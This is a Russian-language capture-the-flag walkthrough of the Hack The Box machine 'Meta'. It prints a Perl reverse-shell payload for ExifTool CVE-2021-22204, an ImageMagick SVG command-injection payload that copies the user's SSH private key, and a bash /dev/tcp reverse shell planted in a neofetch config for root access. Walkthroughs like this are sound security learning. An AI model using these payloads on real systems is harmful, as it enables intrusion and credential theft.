March 17, 2022

HTB::Meta::Explain

Глава 1 - artcorp.htb

Первым делом при переходе на IP-адрес машины(10.10.11.140) мы попадаем на сайт artcorp.htb. Однако сайт не открывается, и это даёт нам понять, что можно внести IP-адрес и доменное имя сайта в файл /etc/hosts, который связывает эти два адреса.

Вносим сайт в hosts - echo 10.10.11.140 artcorp.htb >> /etc/hosts

Доступ к сайту получен. Его содержимое не имеет в себе большой ценности, вследствие чего мы переходим к следующему этапу.

Глава 2 - Разведка

Пробуем найти на сайте другие директории. Наиболее оптимальный вариант - утилита ffuf. Используя словарь (https://bit.ly/3waCXZY), мы начинаем поиск:

 ffuf -u http://artcorp.htb/ -w /path/to/wordlist -H "Host: FUZZ.artcorp.htb" -mc 200

В результате мы получаем ещё одну ссылку - dev01.artcorp.htb .

Глава 3 - первый эксплоит

Перейдя по ссылке, мы попадаем на страницу тестовых проектов artcorp.

Нас интересует Metaview .

Загружая картинку на этот сайт, он выдаёт нам её метаданные. Можно заметить сходство вывода сайта и утилиты exiftools. Это наталкивает на мысль о возможных эксплойтах этой программы. После поиска эксплойтов для этой утилиты мы узнаём про существование уязвимости CVE-2021-22204.

Минутка теории - Как работает данный эксплоит.

Данный эксплоит создаёт вредоносный payload через python, шифрованный в base64:

use Socket;socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp'));if(connect(S,sockaddr_in({port},inet_aton('{ip}')))){{open(STDIN,'>&S');open(STDOUT,'>&S');open(STDERR,'>&S');exec('/bin/sh -i');}};

Далее через утилиту bzz, он сохраняет его в payload.bzz, после чего через djvumake, шифрует картинку в ассемблер, в которую проще внедрить код, а exiftool, в свою очередь создаёт склейку фотографии и вредоноса.

Глава 4 - Получение доступа к машине

После удачного запуска эксплоита, мы попадаем на машину.

Прав немного, а мы и не против. Переходим в папку uploads (т.к. в ней наши права почти не ограничены), создаём файл filename.svg . Почему *.svg? Потому что мы будем использовать уязвимость "ImageMagick - Shell injection via PDF password".

Используем данный вредоносный код:

<image authenticate='ff" `echo $(id)> /dev/shm/alt30`;"'>
  <read filename="pdf:/etc/passwd"/>
  <get width="base-width" height="base-height" />
  <resize geometry="400x400" />
  <write filename="test.png" />
  <svg width="700" height="700" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">       
  <image xlink:href="msl:poc.svg" height="100" width="100"/>
  </svg>
</image>

После выполнения которого в папке /dev/shm/ появится файл alt30, в котором мы можем узнать, что нашего пользователя зовут thomas.

Меняем первую строку на:

<image authenticate='ff" `echo $(cat ~/.ssh/id_rsa)> /dev/shm/id_rsa`;"'>

после чего мы также через ls -la можем прочитать файл id_rsa.

Глава 5 - Подключение по ssh

Итак, файл id_rsa используемый для подключения по ssh получен. При попытке подключиться к машине через файл, у нас будет ошибка, связанная с правами доступа. Нас интересует chmod 600. Прописываем, и заходим на тачку.

На пути к победе - User Own:

Мы зашли, но где же ключ? Осмотрись. ls -a покажет путь. Ответ лежит в user.txt.

На пути к победе - System Own:

Итак, лёгкие пути нас не волнуют!

Итак, прописываем команду sudo -l, что выводит список прав пользователя:

User thomas may run the following commands on meta:
    (root) NOPASSWD: /usr/bin/neofetch \"\"

Видим то, что есть возможность получить доступ к руту через neofetch. Переходим:

cd ~/.config/neofetch

Попадаем в папку с файлом config.conf, его мы должны отредактировать, а именно - вставить в самое начало команду для получения удалённого доступа через root. Вписываем:

/bin/bash -c "/bin/bash -i >& /dev/tcp/tunnel_ip/lport 0>&1"

Не забываем про экспорт конфига thomas`a:

export XDG_CONFIG_HOME="$HOME/.config"

Итак, начнём подключение через root. Сначала начнём слушать локальный порт на основной машине:

nc -nvlp lport

А далее, мы просто пропишем команду

sudo -u root /usr/bin/neofetch \"\"

И увидим, что на локальной машине, в прослушке порта, засветился доступ к тачке через root-пользователя. А далее всё просто.

Вписываем команду для перехода в директорию root`a:

cd /root 

И просмотрев все файлы рядом, увидим - root.txt уже здесь! Читаем:

cat root.txt

И всё! Вы прекрасны!